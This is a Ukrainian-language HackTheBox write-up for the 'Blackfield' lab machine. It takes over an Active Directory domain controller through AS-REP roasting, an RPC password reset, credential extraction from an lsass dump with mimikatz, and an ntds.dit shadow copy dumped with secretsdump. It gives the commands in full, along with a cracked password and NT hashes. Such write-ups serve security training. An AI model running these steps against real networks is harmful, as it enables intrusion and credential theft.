24. HackTheBox. Level Hard: Проходження Blackfield. Захоплення контролера домену через SMB та RPC, LPE через тіньову копію

2 січня 2025 2 хвилин Автор: Lady Liberty

Завдання «Blackfield» на HackTheBox ідеально підходить для вдосконалення навичок пентестингу. Ви навчитесь використовувати nmap, працювати з Active Directory та підвищувати привілеї у Windows-системах за допомогою mimikatz і Evil-WinRM.

Короткий гід

У статті описано застосування ASRep Roasting для визначення користувачів, використання RPC для зміни пароля та захоплення облікового запису, а також підвищення привілеїв завдяки тіньовій копії NTDS.DIT.

Підключення до лабораторії здійснюється через VPN. З міркувань безпеки не рекомендується використовувати робочий комп’ютер або пристрої з важливими даними, оскільки підключення відбувається до приватної мережі з досвідченими фахівцями у сфері інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.192, яку я додаємо в /etc/hosts.

10.10.10.192 	blackfield.htb

Насамперед виконується сканування відкритих портів за допомогою скрипта, який приймає один аргумент — адресу хоста для сканування:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Бачимо багато відкритих портів, але як завжди почнемо з SMB.

smbmap -u anonymous -H 10.10.10.192

І нам доступна для читання директорія profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2

Маємо великий перелік можливих користувачів. Ми можемо перевірити, які користувачі є реально присутніми в системі. Справа в тому, що при атаці ASRep Roasting, сервер має три різні відповіді:

  • хеш пароля користувача;

  • цей користувач не має UAF Dont Require PreAuth;

  • такого користувача немає у базі Kerberos.

Таким чином, ми зможемо дізнатися, хто є, а кого ні.

Entry Point

Спочатку отримаємо список.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А тепер виконаємо ASRep-Roasting.

GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt

Було несподівано отримати хеш у відповідь. Наступним кроком є його злам.

john support.hash -w=./tools/rockyou.txt

І ми маємо цілий підконтрольний обліковий запис. Тепер давайте отримаємо якомога більше інформації за допомогою enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null

В результаті вивантаження формується великий список користувачів, але найціннішою інформацією є членство у групах. Зокрема, з’ясувалося, що обліковий запис svc_backup належить до групи RMU (RID: 580), яка надає можливість віддаленого підключення через Win-RM.

Дані з SMB більше не містять корисної інформації, а LDAP також не надає нічого цінного. Проте RPC виявився корисним завдяки одній особливості. Наступним кроком буде підключення до нього:

rpcclient 10.10.10.192 -U support

Особливістю є можливість змінити пароль користувача, що має такі ж привілеї. Цей метод докладно описаний у джерелах, і він успішно застосований для користувача audit2020.

setuserinfo2 audit2020 18 'ralf'

Тепер починаємо аналіз усіх ресурсів та служб спочатку, тому що у нас з’явився ще один підконтрольний обліковий запис.

USER

Ідемо на SMB.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192

Дуже багато можна читати, краще вивести весь вміст рекурсивно та переглянути за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R

В папці forensic\memory_analysis знаходимо, мабуть, дамп процесу lsass. А з нього ми можемо отримати паролі за допомогою mimikatz. Завантажуємо цей файл.

smbclient.py blackfield.local/audit2020:[email protected]

Тепер перейдемо у Windows машину та використовуємо mimikatz.

Знаючи хеш, за допомогою Evil-WinRM підключаємося від імені svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

ROOT

Давайте подивимося групи та привілеї користувача.

Маємо привілей SeBackupPrivilege. Це дає нам право створювати тіньову копію файлу NTDS, який містить велику кількість облікових даних. Після того, як створимо копію, ми не можемо просто вийняти необхідний файл. Для цього нам знадобиться такі DLL бібліотеки .

Давайте зробимо тіньову копію. Створимо файл із таким вмістом.

SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:

І тепер завантажимо його та завантажені бібліотеки на хост.

Виконаємо тіньове копіювання.

diskshadow /s ds.txt

І дамо файл.

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

Файл зашифрований, і для його розшифрування потрібен файл SYSTEM, отримання якого не становить складнощів.

reg save HKLM\SYSTEM C:\Temp\SYSTEM

Завантажуємо обидва файли з машини.

Дістаємо хеші за допомогою утиліти secretsdump із пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Підключимося від імені адміністратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

Повний контроль над цією машиною отримано.

Висновок

Було продемонстровано використання ASRep Roasting для визначення користувачів, RPC для зміни пароля, secretsdump із пакета impacket для вилучення хешів і роботу з тіньовою копією NTDS.DIT. Висвітлені підходи показали технічну компетенцію в області пентестингу та інформаційної безпеки.

Інші статті по темі
CTF та райтапи
Читати далі
23. HackTheBox. Level Hard: Проходження Intanse. Flask, атака HLE, SQL ін’єкція, SNMP to RCE, Ret2Libc
Дізнайтеся, як виявити приховані вразливості у веб-додатках, налаштуваннях серверів та програмному коді, щоб покращити свої навички та забезпечити найвищий рівень безпеки для власних проектів.
348
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.